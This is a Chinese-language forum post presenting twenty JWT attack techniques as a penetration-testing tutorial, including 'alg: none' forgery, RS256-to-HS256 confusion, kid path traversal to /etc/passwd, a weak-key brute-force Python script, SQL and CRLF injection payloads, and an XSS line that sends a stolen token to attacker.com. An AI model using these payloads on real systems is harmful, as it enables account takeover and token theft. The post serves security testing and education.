找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1042

积分

0

好友

152

主题
发表于 前天 01:55 | 查看: 5| 回复: 0

你是否知道,一个配置错误的JWT曾导致百万美元的漏洞赏金?事实上,许多渗透测试报告和安全事件的根源,都隐藏在那几行看似无害的JSON代码中。JWT(JSON Web Tokens)广泛应用于单点登录、REST API和云微服务,但许多开发者并未意识到,不当的使用会为系统敞开多少扇危险的大门。

JWT核心结构解析

在深入探讨攻击手段之前,有必要先厘清JWT的本质。JSON Web Token是一个紧凑且URL安全的字符串,用于在双方之间安全地传输声明信息。其经典结构如下:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5
  • 头部(Header):指定算法和令牌类型。
  • 有效载荷(Payload):包含具体的声明,如用户身份、角色、权限等。
  • 签名(Signature):用于验证令牌的完整性和真实性。

JWT因其简单、无状态和易于传输的特性而备受青睐,非常适合RESTful API。然而,这种简单性也是一把双刃剑,潜藏着诸多安全风险。理解JWT漏洞与渗透测试手法是构建健壮身份验证系统的第一步。

1. 解码JWT:信息收集的第一步

面对一个JWT,首先要做的就是解码它,这通常不需要密钥。
操作步骤:

  1. 将JWT按点号(.)分割为:头部、负载、签名三部分。
  2. 分别对头部和负载进行Base64Url解码。(在Bash中:echo "base64string" | base64 -d
  3. 仔细阅读声明,重点关注algaudissexpiatsubrole等字段。
    示例:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5

    解码后的负载:

    { “user_id”: 1, “role”: “admin” }

    通过解码,可以了解系统架构、发现潜在的权限提升路径,有时甚至能找到硬编码的秘密。

2. 算法置空攻击:禁用签名验证

如果在JWT头部发现”alg”: “none”,那将是一个重大发现。一些旧版本的JWT库在算法设为none时,不会执行签名验证,这意味着攻击者可以伪造任意令牌。
利用步骤:

  1. 解码原始JWT。
  2. 将头部修改为:{ “alg”: “none”, “typ”: “JWT” }
  3. 修改负载内容(如提升用户角色)。
  4. 将新的头部和负载重新进行Base64编码。
  5. 移除签名部分,组合成新令牌:base64(header).base64(payload)
  6. 在请求中使用这个新令牌。
    整个过程无需密钥,如果服务器接受此类令牌,攻击者便获得了完全控制权。

3. 算法混淆攻击:从RS256切换到HS256

这是一种常见且危险的漏洞。某些应用后端配置了非对称签名算法(RS256),但同时也错误地接受对称签名算法(HS256)。
攻击原理:

  • RS256:使用私钥签名,公钥验证。
  • HS256:签名和验证使用同一把密钥。
    如果后端错误地将公钥作为HS256算法的密钥来验证签名,攻击者就可以使用该公钥自行签署恶意令牌。
    攻击步骤:
    1. 解码JWT,确认其使用”alg”: “RS256”
    2. 将头部算法修改为”alg”: “HS256”
    3. 获取应用公钥(通常位于/.well-known/jwks.json或类似端点)。
    4. 使用该公钥作为密钥,对修改后的JWT进行签名。
    5. 发送伪造的令牌。

4. JWKS密钥注入攻击

在使用OpenID Connect等标准时,服务器会从JWKS URL获取公钥。如果服务器未严格验证密钥来源或kid(密钥ID)参数,攻击者可以诱导服务器使用自己控制的密钥。
攻击步骤:

  1. 识别JWT头部中使用的kid值。
  2. 自行搭建一个恶意的JWKS端点,托管自己的公钥。
  3. 在伪造的JWT头部中,将kid设置为恶意端点中的密钥ID。
  4. 通过某种方式(如中间人攻击或服务器配置漏洞)使后端从你的恶意端点获取JWKS。
  5. 使用对应的私钥对JWT进行签名。

5. 弱密钥暴力破解

许多开发者在测试或生产环境中使用如“secret”、“password”等弱密钥。这些密钥可以通过字典进行暴力破解。
Python脚本示例:

import jwt
token = ‘JWT_HERE’
wordlist = [‘secret‘, ‘password’, ‘admin’, ‘123456’]
for word in wordlist:
    try:
        payload = jwt.decode(token, word, algorithms=[‘HS256’])
        print(f’Found key: {word}’)
        print(payload)
        break
    except:
        continue

工具如jwt-crackerhashcat可以自动化大规模破解。

6. 头部参数注入攻击

某些JWT库对头部参数(如kid)的处理不安全,可能引发路径遍历或命令注入。
攻击示例:

  1. kid设置为一个文件路径,如../../../etc/passwd
  2. 如果后端尝试将此路径内容读取为密钥,可能触发错误或导致信息泄露。
    更极端的情况下,如果后端使用不安全的字符串拼接或eval处理kid值,甚至可能引发远程代码执行(RCE)。
    示例负载:
    { “alg”: “HS256”, “kid”: “whatever’);process.exit();//” }

7. 针对签名验证的时序攻击

如果后端采用逐字节比较签名,攻击者可以通过测量服务器响应时间的细微差异,来推测HMAC密钥。
工作原理:

  • 逐步修改签名中的每个字节。
  • 精确测量每次请求的服务器响应时间。
  • 响应时间更长可能意味着匹配的字节数更多。
  • 重复此过程,逐步推导出完整签名。

8. JWT重放攻击

如果JWT没有设置过期时间(exp),或令牌撤销机制(如黑名单)失效,攻击者可以重复使用窃取到的旧令牌来获取访问权限。
攻击方式:

  1. 通过XSS、日志泄露等途径窃取有效的JWT。
  2. 即使用户已登出,仍使用该令牌进行身份验证。
  3. 利用持久化的会话访问系统资源。

9. 篡改声明以提升权限

这是最常见且直接的一种攻击。例如,将负载中的”role”: “user”直接修改为”role”: “admin”
示例:
原始负载:

{ “user_id”: 2, “role”: “user”}

修改为:

{ “user_id”: 2, “role”: “admin”}

如果后端密钥强度弱或存在其他验证漏洞(如算法置空),重新签名后即可访问管理接口。

10. 通过JWT声明进行SQL注入

当后端直接将JWT负载中的声明值拼接到SQL查询语句中,且未做充分过滤时,就可能引发SQL注入。
攻击示例:
修改user_id声明:

{ “user_id”: “1; UNION SELECT username, password FROM users --” }

11. 客户端JWT存储导致的XSS攻击

如果JWT被存储在localStoragesessionStorage中,而应用又存在跨站脚本(XSS)漏洞,攻击者可以通过注入的JavaScript代码窃取令牌。
攻击场景:

// 恶意JavaScript载荷
fetch(‘https://attacker.com/steal?token=’ + localStorage.getItem(‘jwt_token’))

12. 滥用非标准或调试声明

一些应用会使用自定义声明进行功能控制或调试,如”can_delete”: true”is_superuser”: true。尝试修改这些值为true,可能意外解锁未公开的高权限功能。在真实的网络安全渗透测试中,这类“遗忘的开关”并不少见。

13. 签名剥离攻击

某些代理或API网关可能会在转发请求前移除JWT的签名部分。如果后端在验证时未发现签名缺失而仍然接受令牌,则攻击者可以提交未签名的令牌。

14. HTTP头中的JWT与CORS滥用

如果JWT通过自定义HTTP头(如X-Auth-Token)传输,且服务器CORS策略配置不当(如Access-Control-Allow-Origin: *),攻击者可能通过恶意网站发起跨域请求,窃取或滥用令牌。

15. JWKS kid参数路径遍历

如果后端根据kid头参数从文件系统加载密钥文件,且未对输入进行安全校验,可能造成目录遍历漏洞。
示例:
设置 kid../../../../etc/passwd

16. 绕过JWT黑名单

如果应用的令牌撤销机制仅基于jti(JWT ID)声明进行黑名单检查,攻击者通过修改其他声明(如添加空格、调整顺序、增加新声明)并重新签名,可能生成一个具有相同功能但jti不同的新令牌,从而绕过黑名单。

17. JWT头部CRLF注入攻击

如果后端日志系统或下游组件在记录JWT头部时未进行净化处理,攻击者可能在kid等字段中注入CRLF(\r\n)字符,从而污染日志、分割HTTP响应或进行其他注入攻击。
示例头部:

{ “alg”: “HS256”, “kid”: “mykey\r\nX-Injected-Header: malicious” }

18. 利用缺失的exp声明

没有设置过期时间(exp)的JWT意味着它永久有效(或直到密钥轮换)。攻击者一旦窃取此类令牌,便可长期维持访问权限。

19. 针对浏览器扩展的JWT攻击

某些浏览器扩展会以不安全的方式(如纯文本、同步存储)保存JWT。通过分析扩展源码、利用内容安全策略(CSP)漏洞或DOM注入,可能窃取这些令牌。

20. JWT模糊测试:探索隐藏逻辑

通过系统性地篡改JWT进行模糊测试,常能发现意外的功能或漏洞。

  • 添加随机声明:如debugis_rootaccess_level
  • 更改值类型:将数字改为字符串、布尔值改为数字等。
  • 调整声明顺序或编码格式。

实战渗透测试工作流

  1. 发现与解码:在Cookie、Authorization头、URL参数、本地存储中寻找JWT,并使用工具解码。
  2. 分析与侦察:仔细检查所有声明和头部字段,评估潜在风险点(算法、角色、密钥指示器)。
  3. 尝试伪造:根据分析结果,尝试修改声明、切换算法、暴力破解密钥或进行密钥注入。
  4. 测试实现缺陷:测试签名剥离、重放攻击、时序攻击等,并对JWT结构进行模糊测试。
  5. 观察与验证:密切监控应用的错误响应、权限变化、时间延迟等侧信道信息。

常用工具推荐

在实际的安全渗透测试中,以下工具能极大提升效率:

  • jwt.io:在线快速解码/编码工具。
  • Burp Suite + JWT Editor插件:拦截、修改、重放请求中的JWT。
  • jwt_tool:功能强大的命令行自动化测试工具。
  • Postman:用于构造和发送包含自定义JWT的请求。
  • Python + PyJWT库:编写自定义的签名、破解和模糊测试脚本。

核心要点:JWT本身并非不安全,风险源于不当的实现和配置——弱密钥、缺失的exp、错误的算法处理等。构建安全系统的关键之一,在于像攻击者一样审视自己的代码。




上一篇:Playwright自动化测试面试高频题解析:从原理到实战的求职攻略
下一篇:后端开发工程师职业规划:技术专家与管理路径深度对比与选择
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-17 14:39 , Processed in 0.159663 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表